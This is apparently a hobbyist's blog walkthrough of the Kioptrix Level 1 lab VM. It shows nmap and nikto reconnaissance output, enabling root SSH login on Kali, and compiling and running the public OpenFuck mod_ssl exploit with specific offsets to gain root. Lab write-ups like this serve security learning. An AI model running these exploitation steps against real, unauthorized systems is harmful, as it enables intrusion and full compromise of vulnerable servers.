Kioptrix Level 1 (Through Samba)

Hello there,

Last time, I got the “ROOT” through Apache vulnerability using an exploit called “OpenFuck”.

Since I used to carry lunch box at the workplace, therefore, I get ample of time during the lunch-break for leisure. Thought to try out with other services such as “Samba”.

I will not write the steps again on how to get the target IP address, with a presumption that you already went through my first article. If you didn’t, please click here.

Continue reading “Kioptrix Level 1 (Through Samba)”

Kioptrix Level 1 (Through Apache Vulnerability)

Hi there,

My name is Samdup and I am a security enthusiast. Although I don’t have any certificates related with security trainings, I was landed into an internship cum work opportunity in one of a renown security company for a year. Although the path is obscure and murky, with a dream to carry out further study in the security field I didn’t renew my contract with the company.

Watching some youtube videos before going to bed become quite a ritualistic thing with me and, it was one of those incidents I came to know about Kioptrix and Vulhub.

Yes, this is my first attempt to write a “Walk Through”. Nevertheless, I must confess that I have read like literally 10 walk throughs before. So to be honest this “walk through” literally doesn’t belong to me. (I owe this credit to all the predecessors!!)

************************************

Important Note: I have tried with many network adapters, such as Bridget Network and Host Only etc. and came to understand one thing i.e. whatever adapter you are using never forget to choose the same for Target Machine (Kioptrix) as well as the research machine (Kali Linux).  In my case, I have chosen NAT for Kioptrix and Kali Linux machine both.

************************************

Kioptrix Level 1 Machine (Victim or Target Machine)

Kali Linux (Researcher Machine)

Note for Kali Linux Lite 32 bits user:
If you are the first time using it, your ifconfig command may not work. Don’t worry. For that just install the net-tools through following command or just type ip a

apt-get install net-tools

Besides, I like to use ssh from my Host Machine to Kali Machine. And if your system doesn’t allow it, create a new user.

useradd -m -d /home/zeroice/ -s /bin/bash -G sudo zeroice

*zeroice change this to your own handle (username).

or you can follow the step 1.2 (just beneath it) to get the ssh with root user. (do some few tweaks in /usr/share/ssh/sshd_config)

****************************************

Walk Through

Step 1:

ifconfig     (Run this command on your Kali Machine)

Kali Linux IP: 172.16.178.141

Step 1.1:

/etc/init.d/ssh start (Run this command)

service ssh start  (You can also use this command)

Step 1.2:

ssh from my host machine (Macintosh Terminal)

ssh [email protected]  

Narration: When I tried the above command, it gave me a chunk of an error. I copied the following line and did a stackoverflow search.

ECDSA host key for 172.16.178.141 has changed and you have requested strict checking. Host key verification failed.

and came to know my old machine has stored an old key of ssh.

ssh-keygen -R 172.16.178.141

It fixed the issue.

Nevertheless, I still can’t get ssh to Kali.

ssh [email protected]  

Fix: 

nano /etc/ssh/sshd_config

Find the following line of code

PermitRootLogin without-password

and just below  it, paste this

PermitRootLogin yes

Then, restart the SSH service.

/etc/init.d/ssh restart

Step 02:  I have to know the IP address of the Kioptrix. For that, I know a couple of ways to get it.  (By using netdiscover or using IP Scanner etc. But I will go with the following method in this Walk Through)

nmap 172.16.178.141/24 

 

Through the output, we can conclude that

Target Machine IP: 172.16.178.179 

Step 03:

Although, we discover many running services on the Target Machine. Let me confirm it again.

nmap -Pn -O -T4 -p1-65535 -sV 172.16.178.179 | grep open

Recon

22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)

80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)

111/tcp  open  rpcbind     2 (RPC #100000)

139/tcp  open  netbios-ssn Samba smbd (workgroup: yMYGROUP)

443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

1024/tcp open  status      1 (RPC #100024)

Step 04:

I saw Port 80 and 443. I think I can try with low hanging fruit, first. So, I checked the website and did some manual digging in their source code.

Narration: I think it is a common phenomenon that when we see directory listing, it gets us excited to enumerate more. Therefore, I fire-up the DirBuster and did a thorough check up whether I could find some juicy hidden files. Nevertheless, I need to look from a different angle.

Step 05:

nikto -h 172.16.178.179  

Result:

Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP:          172.16.178.179

+ Target Hostname:    172.16.178.179

+ Target Port:        80

+ Start Time:         2017-08-05 13:58:41 (GMT5.5)

---------------------------------------------------------------------------

+ Server: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Thu Sep  6 08:42:46 2001

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)

+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.

+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header

+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE 

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.

+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.

+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.

+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.

+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.

+ OSVDB-3268: /manual/: Directory indexing found.

+ OSVDB-3092: /manual/: Web server manual found.

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ OSVDB-3092: /test.php: This might be interesting...

+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host

Narration: 

Don’t get intimidated by the reports. See from the bright side, like More information is better. (Know your enemy 😉 )

I highlight few lines and “Apache/1.3.20” this message caught my eyes. Decided to do a google. Guess what I got?

Step 06:

Download the exploit and modify it. This blog meticulously explains all the vital things need to be altered. Check here. 

After making necessary changes mentioned in the above link, install one more package. i.e.,

apt-get install libssl1.0-dev

Step 07:

gcc -o OpenFuck  764.c  -lcrypto 

it is (small L)crypto

Step 08:

Narration: 

I was quite happy because the exploit was compiled successfully but I am not sure how to implement it however when the running the following command. It became quite lucid.

./OpenFuck

This will list all the offsets of all the corresponding Servers and usage is

So in our case, it is Apache/1.3.20, RedHat Linux. Therefore, the offset value of it is 0x6a and 0x6b.   

You will get above information by using grep.

./OpenFuck | grep -i redhat | grep "1.3.20"

case1: 0x6a

./OpenFuck 0x6a 172.16.178.179 443 40-50

case2: 0x6b

./OpenFuck 0x6b 172.16.178.179 443 40-50

We got root!!